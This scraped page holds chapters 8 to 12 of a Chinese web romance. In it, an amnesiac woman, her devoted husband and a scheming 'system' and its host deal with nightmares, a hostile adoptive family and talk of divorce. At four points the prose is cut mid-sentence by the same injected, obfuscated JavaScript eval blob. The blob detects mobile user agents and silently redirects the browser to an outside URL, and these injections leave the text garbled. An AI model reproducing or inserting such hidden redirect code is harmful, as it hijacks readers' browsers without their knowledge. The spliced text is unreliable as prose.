她烦躁地扯过被子，一把盖住自己的头。 眼前一片黑暗，睡意渐渐袭来。 顾朝年铺好了自己的床，房间已经重新陷一片寂静，只能听到卷毛的呼噜声。看着床上又没有了踪影的人，他没再惊慌，走到床边掀开被子一角。 发丝凌乱地糊在脸上，白皙的脸颊上透着薄红，蹙着眉，看起来睡得十分不舒服。 顾朝年拧眉，怎么喜欢蒙着头睡觉。 轻柔地将发丝理到耳后，又将她的被子往下拉一截，看着她的眉心一点点舒展开，顾朝年的眉心也随之舒展。 * 系统空间内。 一块巨大的显示屏播放着刚刚那一幕，沈鱼坐在显示屏的对面真的有些崩溃了：【系统，你真的将现在的情况上报总部了吗？】 系统：【请宿主放心，已经第一时间上报总部，很快就会有消息的，请耐心等待。】 这个问题已经不是她第一次问了，系统每次都是同一套话术。 等待、等待、等待…… 她等了一周，可是她等到了什么？ 没人和她解释为什么沈余还会回来，没人告诉她要怎么才能继续执行任务，她只能眼睁睁看着任务时间在一点点变少。 沈鱼在显示屏上轻点几下，画面一转，变成了一个任务面板。 上面记录了沈鱼的个人信息，其中一栏写着 ——顾朝年当前的好感度为95%。 看着并未降低的好感度沈鱼松一口气，但又忍不住担心，他们现在已经住一起了如果顾朝年发现异样，好感度不能达到100%怎么办？ 而下面一栏记录的则是任务的截止时间。 无论任务时间截止还是好感度未达到100%。任务都会被宣布失败。 想到顾朝年那95%的好感度还有自己在他身上浪费的时间和精力，沈鱼决不允许这个任务失败！ 感受到沈鱼身上的危险气息，系统忍不住出声警告：【宿主，你可别动歪心思。我可是正经系统！】 沈鱼翻了一个白眼：【找你解决问题就装人工智障，现在装什么正经系统？】 系统坚定自己的立场：【……反正抹杀别人灵魂这种事情我是不会做的！】 沈鱼哼了一声：【你想做也得你会算啊！还抹杀灵魂，你连检测灵魂都能出错。你也就会让人做做噩梦这些小把戏。】 系统：【……】 系统：【所以这次的好计划是不需要我的小把戏了吗？】 沈鱼耸肩：【当然需要，而且还要加大剂量！】 * 于是当天晚上沈余做了一个晚上的噩梦，还是她做了许多次的那场梦，原来只是小鱼变大鱼，现在是小鱼变鲨鱼。 而且没直接吃掉她，而是一直追着她。 沈余在梦里跑了一场马拉松，一直跑到凌晨三点半，才从鲨鱼口中脱生。 之后一直半梦半醒。 彻底醒来的时候已经日上三竿了。 睡在地上的男人已经起来了，连带着地板上的东西也都被整理好，睡在她旁边的卷毛也不知所踪。 晕乎乎地挤好牙膏、刷牙，用洗脸巾擦干脸，看着镜子中自己脸上那两个硕大的黑眼圈，，沈余自己都吓了一跳。 从她回来后只睡过一个好觉，这睡眠质量还真是堪忧啊！ 沈余拍了拍自己的脸，强制开机。 梳妆台上摆满了瓶瓶罐罐，沈余对这方面没什么研究，挑了几个她以前常用的水乳打开一看发现竟然还没开包装。 想到自己的职业又很快理解了。 她撕开包装，快速地擦好水乳，拐进衣帽间，又被女明星的衣橱震惊了。 五颜六色，各式各样，几乎都是当季的最新款。 甚至连吊牌都没摘。 作为曾经沈家千金的沈余不是没见过大世面的人，但还是被着满屋子的新衣服震惊了。不过也多亏了“她”的壕无人性，才可以让她任意选择自己喜欢的衣服，而不用担心会不会被人怀疑。 沈余随手拿了一套针织连衣裙，换好衣服刚推开门，卷毛第一时间跑过来围在她的脚边，她摸了摸卷毛的头，“走，妈妈带你去吃饭。” 梅姨正在做家务，看到沈余，叫她，“饿不饿，现在吃饭吗？” “好呀。” 给毛孩子放好饭，梅姨已经将早餐都摆放好了，沈余环视了一圈，没看到顾朝年，“他呢？” “朝年啊，刚刚出去晨跑去了，还没回来呢。” 两个人正说着，门忽然开了，顾朝年走到客厅，坐在餐桌前的沈余正好能看清他。 梅姨放大了音量，“朝年，阿余在吃饭，你要一起吃吗？” “你们先吃，不用等我。” 嗓音带着刚刚运动后的沙哑，听起来有点冷漠。 顾朝年喝了一大口水， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929829|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释道，“我刚运动完，要先去洗澡。” 沈余吃过饭又在客厅陪卷毛玩了一会儿，由于昨晚没睡好，玩着玩着就要昏昏欲睡了。 快要睡着的时候，梅姨正好打扫到客厅，看她倒在沙发上止不住地担心，“阿余，这是怎么了？” “没事，昨晚做了个噩梦。没怎么休息好。” 梅姨着这才注意到她眼底的乌青。 还没来得及说什么要她注意身体好好休息的话，洗好澡的顾朝年神清气爽地从卧室推门出来了。 心疼的话一下子变了味道，“年轻人嘛，熬点夜正常的。” ？ 梅姨：“梅姨懂得啦~” 沈余终于听出来是哪里不对了，慌张地摆手解释，“梅姨你误会啦，我们昨晚什么都没做。” 顾朝年听不到他们在聊什么，只能看到沈余在疯狂摆手，脚尖一转，朝她们走过来，“怎么了？” 本来就已经解释不清楚了，顾朝年过来更是添乱。 “没什么，我和梅姨说悄悄话呢。你快点去吃饭吧，一会儿早餐都该凉了。” 顾朝年一愣，“……你是在关心我？”、 ……这算吗？ 没等沈余开口，梅姨已经替她回答了，“这还用问当然是关心你啦！阿余早上醒来的第一件事就是问你去哪了呢。” “真的？” 顾朝年的眼神一下子亮了，一眨不眨地盯着她。 事实确实是这样，但关心他绝非她本意。怎么从梅姨的嘴里说出来好像她一刻都离不开他一样。 梅姨抿嘴笑，“比真金还真。” “你快点去吃早餐吧。”沈余捂着脸，“不然真的该凉了。” 亲耳听到沈余关心他，顾朝年嘴角上扬，“好。我这就去吃早餐。” 冷面霸总化身为呆头鹅，梅姨感慨道，“朝年这孩子看起来冷心冷情的，没醒到就因为你随口的一句关心就乐呵呵地被哄走了。” 一回头，发现沈余还捂着脸呢，忍不住打趣她，“人都走了，还害羞呢。” “我没害羞。” 就是有点尴尬。 “都结婚了还这么害羞，那以后生孩子了怎么办？” “生孩子！？” 一句话直接在沈余心中掀起惊涛巨浪。 偏偏当事人一点没察觉，拿过一旁的抹布开始擦茶几，一边擦一边自顾自地说道，“结婚五年，也到了生宝宝的年纪了。” “眉眼像你，鼻子像朝年，嘴唇的话也像你……”她越想越高兴，已经开始畅想孩子的样貌了，想到最后她诶呀一声，“怎么长都行，反正你和朝年都长得好看，生出来的宝宝肯定也漂亮。” 兴致勃勃地想要和沈余分享，一回头发现沙发上的人早就不见了。 9. 第 9 章 沈余一连做了好几天的噩梦，眼底的乌青是越来越重。 晚上要和那条鲨鱼在海底世界竞跑马拉松大赛，白天还顶着梅姨不可言说的视线。 解释了几次无果后，沈余放弃挣扎。随便吧，反正梅姨连她和顾朝年的宝宝长什么样子都想好了。 除了这件事，过的还算舒心。 每天的饭菜煮的都是她爱吃的，她吃吃睡睡，每天和卷毛玩一玩，偶尔用ipad浏览一些娱乐新闻。 只是今天的卷毛有些不一样，总是拽着她的裤脚往门口的方向去。 沈余猜想她应该是想出去玩。 沈余其实不太愿意，不是怕麻烦，而是觉得现在的天气比较冷，怕卷毛回来生病。 记忆里卷毛病的最严重的一次就是她刚养她的时候，耳朵上长满了癣，小卷毛都掉没了，而且还得了感冒，又瘦又可怜。 狗狗就像小宝宝一样脆弱，她精心照顾了许久才让卷毛恢复正常，而且卷毛现在也不像小时候那么年轻了，她是真的有些担心。 “卷毛，我们今天呆在家里好不好？外面太冷了，你会生病的。” 卷毛才不考虑这些，一门心思想出门玩，像个小炮仗一样上蹿下跳。 “卷毛，不可以哦~”沈余按住她的脑袋，强迫她镇定。 见她不同意，卷毛直接挣开她的怀抱，沈余跟在她的身后看着卷毛一路从卧室走到客厅，然后跳进了顾朝年怀里。 顾朝年放下正在看的文件，看着怀里可怜巴巴望着他的卷毛，“怎么了？是谁惹我们卷毛不高兴了？” “没欺负她。”沈余解释，“她想出去玩，我怕她生病。” 卷毛一边委屈巴巴地往他怀里缩，一边讨好地蹭他的头，看着她这幅小狗腿的样子，沈余哭笑不得。 好在顾朝年不是那种没有原则的家长，他低下头很认真地和卷毛解释，“外面太冷了，妈妈是担心卷毛。” 沈余清晰地看到卷毛翻了一个白眼，噌地从顾朝年年的额怀里跳出来，头也不回地跳进了自己的房间。 顾朝年推了推眼镜，脸上带着不可置信，“刚刚……卷毛是不是冲我翻白眼了？” 沈余眨眨眼，装作不知道，“没有吧……”说完，自己又忍不住笑出声。 顾朝年看着她，一脸无可奈何，“阿余……” “抱歉，我不是故意的。”说着一扭头，卷毛从她的小房间出来了，嘴里不知道叼着什么扔到了顾朝年的脚边。 粉粉嫩嫩又毛茸茸的，是卷毛的衣服。 在卷毛的房间里，有一个专属于她的衣帽间，奢靡程度和“她”的不相上下，而她手中的这件显然是加绒加厚款。 “汪汪！” 湿漉漉的眼睛就这样看着顾朝年，他心一软忍不住求情，“阿余，不然就带她出去玩一会儿吧。我以前也带她出去过，这个温度卷毛不会生病的。” “真的？”沈余半信半疑。 “真的。” 有了顾朝年的保证沈余终于松口，“那好吧。” 给卷毛穿上了那件她精心挑选出来的棉衣，顾朝年又去她的衣帽间拿出了小皮鞋，然后系上狗绳，名媛卷毛就这样登场了。 沈余抱着她亲了两口，“好漂亮的宝宝呀~”然后给自己匆匆套上一件棉服，晃着手中的绳子，“走吧，卷毛。” “等等。” 顾朝年在身后叫她们，还没来得及回头电梯已经到了，卷毛带着她飞快地坐上电梯，电梯快要关上的时候，顾朝年终于跑过来了，他手里还带着她的帽子围巾和手套。 “怎么只顾得给卷毛多穿点，忘记自己也是会生病的。”他给她系好围巾，埋怨她不在乎自己的身体。 “我自己来吧。” 顾朝年把手套给她，却没放弃帽子。沈余将手套穿好，他也为她带好了帽子。 叮的一声。 在电梯门开之前，顾朝年牵过卷毛的绳子，不等她问为什么，就看到卷毛一路高歌地冲出去，连带着顾朝年也一起。 一人一狗很快消失在她面前。 距离他们这栋楼几百米有一块草坪，小区里绿化很好，即便已经到了冬天依旧是绿油油的一片。 卷毛将自己今天的穿搭完全抛诸脑后，穿着两双小皮鞋在草坪上和另外一条小狗疯狂奔跑。 顾朝年坐在不远处的长椅上，沈余走过去和他并排坐，“你早就知道卷毛出来时想找他玩？” 草坪上一大一小两只狗狗你追我赶，玩得不亦乐乎。 “是。”顾朝年指着追在卷毛身后的那只边牧，“那是她最好的朋友，叫斑点。” 卷毛和斑点疯跑了一圈，又跑回来，叼回来一个飞盘送给顾朝年，顾朝年赞许地拍了拍卷毛的头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929830|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “卷毛真棒，去和斑点玩吧。” 看着一人一狗的默契互动，沈余忽然有些好奇，“卷毛怎么这么喜欢你？” “有吗？”顾朝年将飞盘扔出去。 “有的。” 她早就发现了，卷毛虽然对她十分热情也喜欢和她玩，但是当她玩累的时候，总会去找顾朝年，也不打扰他办公，就安安静静地窝在他的脚边。 显然是十分喜欢依恋他才会这样。 这样的依赖绝不是一朝一夕就能形成的，沈余忽然有些好奇，“卷毛是什么时候跟在你身边的？” 更多的是担心，担心那个“她”对卷毛不好。 不知道想到了什么，顾朝年许久才开口，“你或许不记得了，五年前你出过一场车祸。” “什么？”沈余一惊。 她抬眸发现顾朝年的目光一寸不寸地落在她的脸上，“怎么了？” 阳光下男人的眸子变成了浅棕色，像是期待又像是失落。 “没事。”顾朝年移开视线，云淡风轻地说，“那时候你受了伤，一直住在医院，卷毛在家里没人照顾，我就将卷毛带在了身边，之后她就一直待在我身边。” 避重就轻的一句话，偏偏她又不能直接问，没办法只好顺着他继续说下去，“原来是这样啊。” 卷毛叼着飞盘往回跑，看着她那一身亮眼的名媛装，突然福至心灵，“卷毛的衣帽间是你？” “是。” 还没等沈余消化好，顾朝年又开口，“你的衣帽间也是。” “……你是说哪些没拆吊牌的衣服？” 顾朝年接过卷毛叼回来的飞盘，随手又扔了出去，“不止衣服，还有梳妆台的那些，因为不确定你还记不记得自己以前喜欢什么，所以就多买了一些。” 沈余彻底愣住了，她实在没想到真正的原因竟然是这样。 “怎么了？你是不喜欢吗？如果不喜欢可以丢掉，我再买就好。”他的语气里生出一股无措，好像生怕她不喜欢。 在感情上她虽然没有什么经验，但不代表她不知道那是什么。 卷毛叼着飞盘又回来了，可此刻顾朝年的注意力都在沈余的身上，没有心情陪她做游戏，卷毛也十分懂事，围在他脚边转了几圈就跑去和斑点玩了。 长久的沉默后， 沈余缓缓开口，“顾朝年，我们离婚吧。” 10. 第 10 章 顾朝年愣了一下，露出一个微笑，“为什么突然说要离婚？” 她不说话，顾朝年只好自己猜，他十分努力维持自己仅有的理智，将刚刚发生的事情快速地回忆了一遍，最后得出结论。 “因为我喜欢你？” 没想到他竟然一下子就猜到了重点，沈余有些惊讶，但还是点了点头。 堂堂一个大总裁天天待在家里居家办公；宁愿睡地板也想要和她一个房间、卷毛的专属房间专属衣帽间…… 因为他不喜欢她所以理所当然地觉得他对“她”也是一样。所以对他的体贴、他的温柔视而不见，欺骗自己那只是她的错觉。 她早该想到的。 顾朝年是真的很喜欢“她” 所以将这份喜欢过渡到她的身上。 可她终究不是“她”，自然不能让他在这份注定没有感情的结果里越陷越深。 “你知道的，我失忆了。我不记得我们是如何认识，怎么喜欢上彼此，因为什么契机开始谈恋爱，又为什么会想要结婚……这些我统统都不记得。” 不是不记得，那个人本来也不是她。 有风吹过，沈余将被吹乱的发丝夹到耳后继续说，“坦白来讲，你对我而言，其实和陌生人没什么两样。” “陌生人……”顾朝年念着这三个字，一瞬间红了眼眶，“我不在乎。” 陌生人又如何，只要你能在我身边就好。 浅棕色的眸子失去了光泽，却还是固执地望向她，“我只是想对你好。” “可我不需要。”沈余看着他，“你对我的好，对我而言都是负担。”轻轻柔柔的一句话，却每一个字都如同刀子一样扎在他的身上。 长久的沉默后，就在沈余以为他不会同意的时候，顾朝年终于开口了，“好。” 一个不可思议的结果。 沈余站起来，看着他，“真的吗？” 她雀跃的神色刺痛了他的眼睛，他背过身拿出镜框戴上遮住自己发红的眼眶。 “当然，如果这是你想要的话。”顾朝年自嘲一笑，“你知道的，我根本不会拒绝你的任何要求。” 即便这个要求是离开他。 “离婚可以。”他话锋一转，“不过要在你恢复记忆之后。” 不给沈余拒绝的时间，他又继续说，“好了，现在我们该回去了。”他挥手叫回卷毛，没人注意到他握着飞盘的那只手指尖泛白。 痛痛快快玩了一圈的卷毛兴致很高，一会儿跟在沈余的脚边一会儿更在顾朝年的脚边，丝毫没有注意到他们之前的古怪的气氛。 两个人沉默地走路，只有卷毛偶尔汪汪几声，就这样到了家。 脱掉一身厚重的衣服，穿过玄关，在客厅里见到了两个她十分熟悉的女人。 一个是她的养母，叶茹。 一个是沈家失而复得的真千金，沈昭昭。 沈余注视着她们，五年过去岁月好像没在她们的脸上留下什么痕迹，一个端庄、一个甜美，只是她们脸上的表情却并不美妙。 她们颇为嫌弃地环视着房间的装修和摆设，一时间没有发现刚进门的沈余，还是出来倒茶的梅姨发现她回来了，“阿余，夫人和二小姐来了。” 在她身后进来的顾朝年看了梅姨一眼，“去倒茶吧。” 支走梅姨，小声在她身后提醒，“一会儿她们说什么都不要理，我来解决。”然后牵着她手走过去。 刚走进她们就看到了顾朝年，叶茹十分亲切地同朝年打招呼。 顾朝年拉着沈余坐在沙发上，沈余正坐在沈昭昭对面，沈昭昭哼了一声，别过脸不去看她。 顾朝年面色一沉。 叶茹立马用手肘轻轻怼了她一下，眼神疯狂示意，沈昭昭这才不情不愿地开口，“朝年哥。” 两个人决口不提沈余。 顾朝年看向沈昭昭，“昭昭的礼仪是哪位老师教的，难道没教会你见到姐姐要主动打招呼吗？” 在被沈家找回之前沈昭昭从没上过礼仪课，尽管回来后恶补了一阵却始终不能像沈余一样大方优雅，这件事始终是她心里的痛。 顾朝年上来就直戳她的痛处，沈昭昭恨不得当场发飙，可偏偏说她的人是顾朝年，一个她爸爸妈妈都要礼让三分的人，因此她只能忍着挤出一个笑，“好久不见。” 这已经是她最大的让步了，她是绝对不会叫姐姐的。 为了缓和气氛，叶茹换了个话题，“朝年今天怎么在家，公司不忙吗？” “公司最近不太忙，我想在家陪陪阿余。” “她有什么好陪的，男人还是要以事业为主。”叶茹颇为不赞成，“我和你沈伯伯当年要不是以事业为主，哪能有沈家的今天。” 听第一句话顾朝年就忍不住皱眉，但是碍于是长辈所以没有打断她，听她说完才开口，“伯母今天来是有什么事，我能帮上什么忙吗？” 一听他愿意帮忙叶茹就乐了，但有些可惜今天的事情还不到用顾朝年的地步，但是在开口之前还是要铺垫一下，“也没什么事，这不是前段时间阿余生病了嘛，之前一直忙没有时间，现在终于空闲了想来看看阿余怎么样了。” 叶茹匆匆扫了她一眼，很快收回视线。 沈余对此见怪不怪了，礼貌地回复，“我很好。” “那就好。” 场面话说完，叶茹就开始进入正题了，“阿 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哄好沈昭昭，叶茹回过头来看沈余，“阿余这种小事对你来说应该很容易吧。” ……随便给她找个女一号演演, ……这种小事。 亏她说得出来。 沈余平静地开口，“我做不到。” 不说她失忆了，就算她没有失忆也不会帮这种忙。 “你怎么可能做不到？”沈昭昭炸了，“你就是不想帮我对不对？” “我没有必须帮你的义务。”沈余的脾气一向很好，即使面对这么无理的要求，她的声音依旧温和动听。 可这句话落在沈昭昭的耳朵里无异于火上浇油，“你怎么没有义务，这是你欠我的！这本来就是你欠我的！” 沈昭昭情绪激动，张牙舞爪地要扑过来。 顾朝年将沈余护到身后，然后拽住沈昭昭的手腕，将她摔到沙发上，他的视线扫过叶茹最后落在沈昭昭身上，“她不欠任何人，尤其是你。” 叶茹上去扶沈昭昭，却被她甩开，捂着脸跑出房间。 叶茹只好出去追她，还没出门，身后响起男人冷漠到极致的声音，“叶伯母，我和阿余不喜欢吵闹，您以后没什么事还是不要再过来了。” 她脚步一顿，紧接着又听到，“还有今天的话，我也不希望再听到第二遍。” * 系统空间内。 沈鱼看着屏幕中坐在沙发上的微微失神的沈余，嘴角扬起微笑。 终于。 找到你的弱点了。 11. 第 11 章 沈家母女离开后，屋子里又恢复了以往的安静。 沈余坐在沙发上，目光和思绪一起放空，梅姨却误会她是因为刚刚的事情伤心，轻拍她的肩膀，“阿余，你……还好吧？” “嗯？”她回神，眼睛还没彻底聚焦，“我没事。” “夫人今天过来其实是来看望你的，只是二小姐……”梅姨也不知道说什么，只能说，“其实二小姐人不坏，就是性子骄纵了点。” 她唇角漾起浅笑，“我真的不难过，就是有点累了，可能是陪卷毛玩的太久有些累。” 一直都是他在陪卷毛玩，她怎么会累。 她越是这样，顾朝年就越是心疼，“阿余……” “我真的没事，不用太担心我。”沈余笑着打断他，“我现在想回房间休息一会儿，晚饭的时候记得叫我。” 顾朝年/梅姨：“好。” 她说要休息，他自然不会打扰，只是温柔地注视她离去的身影，直到那抹身影在彻底消失，顾朝年才收回视线，落在一旁的梅姨身上。 眼中的温柔不再，只剩下审视。 “今天是你带她们过来的？” 他们现在住的小区虽然不是别墅，地段却也极好，小区的安保一向负责，绝不会放任何一个陌生人进来，更不要提今晚这出私闯民宅的闹剧。 除了熟人作案，他想不出第二种可能。 “朝年，我不是有意的。我……” “好了，不用说了。”既然没冤枉人，剩下的话顾朝年也没心情听下去，打断她直接说，“梅姨，做完晚上这顿饭，明天回沈宅吧。” “是夫人说阿余病了想要来看看阿余，我才带她们进来的，我真没想到会这样，我真的没想这样。”梅姨简直悔不当初。 情急之下，她去拉顾朝年的衣袖，男人的视线落在她的手背上犹如刀子一般，那样冷冽的眼神吓了她一大跳，她连忙松开手。 顾朝年抚平衬衫上被她抓出来的褶皱，又抽出一条手帕慢条斯理地擦拭着手指，仿佛他碰的是什么脏东西一样。 她忽然意识到，他之前对她的尊重不过是看在阿余的面子上而已，而现在她伤害了阿余。 顾朝年不会原谅她的。 梅姨的心中已经有了答案。 * 梅姨做好最后一顿晚饭，没和他们一起吃，而是找借口回了房间。 沈余没发觉她的异常，低头自顾自地吃着饭，用过晚饭，她早早上床休息。 又一次陷入梦中。 偌大的餐厅内她一个人默默吃饭、舞蹈室内她一遍遍跳舞直到做出最完美的动作、她考到年级第一兴冲冲地跑回来想要和妈妈分享…… 得到的回答永远是一般，要努力，下次要做到更好。 都是她小时候的事，很短，转瞬即逝。 不过眨眼间的功夫，画面上的小女孩变成了亭亭玉立的少女，之前冷色调的画面也多了一抹靓丽的颜色，就连总是空荡荡的家里也变得热闹了。 沈余记得那一年，真正的沈家千金沈昭昭被找回来了。 而她只不过是被医院护士错抱，鸠占鹊巢的假千金。 拿了人家的东西自然要还给人家，她的身份、她的父母、她的未婚夫……统统都要还给她。 而她就是在去找顾朝年解除婚约的路上出了车祸。 之后又是那个千篇一律的梦，她出车祸，鲜红的血液顺着额角缓缓流淌，流过她的面颊，在下巴处汇聚。 她费力地睁开眼睛，捡起勉强还能用的手机，手机屏幕恰好亮起来，弹出一条不知道是谁发来的也看不清内容的微信消息。 她静静看了许久，手中的手机毫无征兆地掉到地上。 地面渗出海水，一点一点将她吞没，再之后就是她和那条鲨鱼的马拉松竞赛了。 这些流程熟悉的她都能背出来了。 但今天却有些不同。 因为她忽然能看到那条微信消息了。 ——婚约解除了吗？昭昭饭都没吃一直在家等你的消息，怎么还没回来。 备注是妈妈。 沈余笑了。 笑着笑着眼里却溢出一滴血泪。 顾朝年像往常一样去为沈余拉下被子，抬手摸到一片濡湿。粉嫩柔和的被子下是一张遍布泪痕的面庞。 女人躺在床上，秀发铺满枕巾，偶尔几缕因为眼泪黏在了脸颊上，秀气的眉头蹙起，口中呐呐自语，像是陷入了梦魇。 “阿余？阿余？”顾朝年轻轻将她叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929832|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒。 醒来后她没有任何动作，顾朝年扶她起来她就乖乖坐着，顾朝年递给她水她就乖乖喝水，人虽然醒着，却好像还陷在梦里。 “阿余，怎么了？是做什么可怕的噩梦了吗？” 顾朝年试图和她沟通，可她好像听不进去，浑身一直在发抖，他只好抱住她。 很瘦、很软。 像一朵云。 微微颤抖着。 顾朝年甚至不敢用力。 沈余实在太冷了，像是从深海里游了两万里后上岸，骨子里都透着冷，她下意识地抱住身旁唯一的热源。 身体亲密无间地嵌合在一起，冷与热相互交融，怀里的人一点点平静下来。 房间寂静无声，彼此的呼吸清晰可闻，就在顾朝年以为沈余又再次睡过去的时候，一道很轻很轻的声音从他胸口飘出，“为什么？” 为什么从小到大无论她多么优秀多么努力妈妈都视而不见？为什么她们生活了二十多年却可以在知道她不是亲生的后立马抛弃？为什么所有人都说是她欠了沈昭昭？ 为什么她的生死还没有沈昭昭的一顿饭重要？ 她什么都没说，可顾朝年就像是知道她在想什么一样，考虑到她失忆了，先简单地为她解释了她复杂的身世。 然后告诉她，“阿余，我们不得不承认血缘有时候就是很奇妙。” “所以，那不是你的错。” 紧绷的那根玄彻底断裂，一滴泪落下，落在男人的锁骨上，顾朝年浑身一僵，随之而来的是更多的眼泪。 啪嗒啪嗒。 珍珠般掉落。 心脏的位置仿佛开了一个口子，刀割一般。 “我们无法获得所有人的喜欢和偏爱，但没关系——”喉结上下滚动，缓缓倾吐爱意，“我偏爱你。” 很爱很爱你。 当一个人拥有足够多的爱时，几份微不足道的爱也就没那么重要了。 缓慢而郑重地吐露爱意，一低头才发现怀里的人不知道什么时候又睡了过去，顾朝年哑然失笑。 抱着怀里的人，虔诚而珍重地在她的发顶落下一吻。 “只盼望你不要觉得这份爱太沉重。” 觉得沉重也没关系，我悄悄爱你。 12. 第 12 章 第二天，沈余是被热醒的。 她伸手摸到了一头柔软的毛发，一边推开它一边哼唧道，“卷毛，不要挨着妈妈睡，好热啊。” 过了一会儿，身上的热量未减，反而一只大手探上了她的头顶，沈余撩起沉重的眼皮，床上根本没有卷毛，只有一个穿着真丝条纹睡衣的男人。 眼睛很慢地眨了两下，她逐渐清醒过来，坐起来，略带警惕地看着坐在她对面的顾朝年，“你怎么会在我的床上？” 一开口，嗓音沙哑得厉害。 “昨晚你做噩梦了，我本来想过叫醒你，是你抱着我不松手。” “……怎么会？”沈余小声地为自己辩驳，忽然有什么片段涌入脑海，“我昨天的确做噩梦了，一直很冷，后来梦到一个火炉……” 她越说越心虚，“难道你是那个火炉？” “是。” 对上男人坦荡的眼神，沈余底气逐渐不足，她快速扫描着男人，睡衣睡裤都在，每一个扣子都扣得严严实实，她们昨晚应该什么都没有发生吧。 自以为自己看得隐蔽，殊不知她微红的耳尖早就出卖了她，顾朝年起身，一脸正色道，“我们昨晚什么都没发生。” 像是惊讶于他怎么知道她在想什么又像是在羞愤，那抹红从耳尖蔓延到脸颊，白皙的脸颊布满红晕，像是熟透了的桃子。 感受到自己发烫的脸颊以及男人落在那上面的视线，沈余拽过被子，将脸埋进去，只留下一双乌黑的眸子。 很轻的一阵风带来熟悉的冷松木香，再抬眸发现男人已经靠了过来，来不及后退，宽厚的掌心落在了自己的额头上。 又摸了摸自己额头，顾朝年皱着眉，起身离开，没一会儿再回来的时候手中多了一瓶温水以及一个家用医药箱。 看着他从医药箱里拿出一个体温计，顾朝年刚刚的动作似乎也有了合理的解释，“你生病了？” 顾朝年没回答，拿着温度计在她的额头上扫了一下，露出一个果然如此的表情，“是你生病了。” “自己看。”将温度计扔给她，上面显示体温38.℃。 “……啊，怪不得我醒的时候觉得很热，好像嗓子也有点疼。”沈余后知后觉，“原来是发烧了。” 顾朝年快速地翻出一包药，连同温水一起递给她，“先吃点药看看怎么样。如果下午还没退烧就去医院。” 沈余乖乖吃药，刚吃完一包，眼前又多了两片。 纯白的药片，没有一点糖衣，还没吃嘴里就溢出苦涩了，沈余不喜欢吃这样药，可叶茹常说这样的药最有效，所以即便再不喜欢吃，从小到大也吃了不少。 “刚刚是治发烧的，这个是管嗓子的。” 见她皱眉，顾朝年问，“怎么了？” 沈余摇摇头，“没事。” 反正已经吃了很多次了，又不差这一次。 捏起药片，正准备扔进嘴里，却被顾朝年抢走，将药片扔进垃圾桶，递给她一瓶糖浆。 “不喜欢换一种，没必要勉强自己。” 甜腻的糖浆倒入口中，微微凉，但总比苦味要好得多，一边喝一边说，“没勉强。” “是真的觉得不勉强，还是习惯了被勉强。” 沈余动了动唇，嘴唇仿佛被糖浆黏住一般， 什么都说不来。 顾朝年也没有执着这个答案，看着她吃好了药，又监督她喝下大半杯水后离开房间，留沈余一个人愣在原地，不知道在想些什么。 卷毛透过门缝跑了过来，跳进她的怀里去舔她的脸，沈余回神后立马用手捏住她的嘴巴，“不可以亲妈妈。” “汪汪？” “妈妈生病了，会传染给你的。” 卷毛眼睛瞪大，还没等沈余多说些什么，立马从她身上跳下去，哒哒哒地跑出去了。 “你还真是……”沈余哭笑不得。 她重新躺回床上，抓住被子的一角一卷将自己卷成长长一条，努力地回忆昨晚发生的事情，她难道抱顾朝年抱了一整晚？ 昨天下午刚说完离婚，结果晚上就抱着人家不松手，还一抱一整晚。 如果当事人不是她，她简直要大喊一声无赖。 可偏偏她就是那个无赖。 越想越尴尬，刚刚退下去的热潮又一次涌上脸，连带身上的被子也成了累赘，沈余反方向轻轻一滚，身上的被子一层层退下去。 将手当做扇子，将脸上的热气扇走，又揉了揉脸蛋，下定决心起床去洗漱。 洗漱好出来，一推开门就闻到了一阵香味，本以为会看到熟悉的人，没想到顾朝年竟然从厨房里走了出来。 她一开始还以为自己烧糊涂了，闭上眼睛又睁开，还是顾朝年，他手中还拿着早餐。 “怎么是你？梅姨呢？” 顾朝年将早餐放在餐桌上，没有多说，只说梅姨回沈宅了。 一开始在医院的时候顾朝年就告诉过她，梅姨只是在她养病期间暂时照顾，以后还是会回沈宅的，只是梅姨竟然没有和她告别，或许是昨天发生了什么，沈余心里隐约有了答案。 餐桌上的早餐种类不算多，但看起来还算可口，沈余忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 